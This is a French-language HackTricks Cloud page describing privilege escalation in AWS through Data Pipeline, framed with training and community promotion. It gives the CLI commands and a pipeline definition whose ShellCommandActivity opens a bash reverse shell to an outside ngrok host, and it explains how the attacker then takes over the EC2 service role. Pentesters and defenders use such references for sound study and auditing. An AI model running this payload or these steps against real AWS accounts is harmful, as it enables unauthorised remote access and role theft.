AWS - Datapipeline Privesc
Reading time: 3 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
datapipeline
Pour plus d'informations sur datapipeline, consultez :
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
Les utilisateurs disposant de ces permissions peuvent escalader des privilèges en créant un Data Pipeline pour exécuter des commandes arbitraires en utilisant les permissions du rôle assigné :
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Après la création du pipeline, the attacker met à jour sa définition pour dicter des actions spécifiques ou la création de ressources :
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
note
Notez que le role aux lignes 14, 15 et 27 doit être un role pouvant être assumé par datapipeline.amazonaws.com et que le role à la ligne 28 doit être un role pouvant être assumé par ec2.amazonaws.com avec un EC2 profile instance.
De plus, l'instance EC2 n'aura accès qu'au role pouvant être assumé par l'instance EC2 (donc vous ne pourrez voler que celui-ci).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
Le fichier de définition du pipeline, conçu par l'attaquant, inclut des directives pour exécuter des commandes ou créer des ressources via l'API AWS, en exploitant les permissions du rôle de Data Pipeline pour potentiellement obtenir des privilèges supplémentaires.
Impact potentiel : Privesc direct vers le rôle de service ec2 spécifié.
Références
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud